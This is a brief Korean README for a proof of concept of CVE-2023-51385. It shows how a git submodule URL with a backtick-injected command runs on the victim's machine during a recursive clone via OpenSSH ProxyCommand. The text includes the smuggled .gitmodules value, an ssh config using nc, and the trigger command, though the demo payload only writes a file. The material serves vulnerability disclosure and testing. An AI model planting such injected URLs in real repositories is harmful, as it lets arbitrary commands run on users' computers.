
CVE-2023-51385에 대한 개념 증명: 악성 git 서브모듈 URL을 사용한 --recurse-submodules 복제 시 명령 주입을 보여주며, OpenSSH ProxyCommand를 악용합니다.
먼저 ~/.ssh/config에 다음 내용을 추가해야 합니다.
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodules 파일 구문에 명령어 주입이 존재합니다.
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
구성이 완료되면 다음 명령어를 실행하여 트리거합니다.
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
성공적으로 실행되면 CVE-2023-51385_test 디렉토리에 cve.txt 파일이 생성됩니다.
참고: OpenSSH는 9.6p1 미만이어야 합니다.
자세한 내용은 다음 블로그를 참조하세요: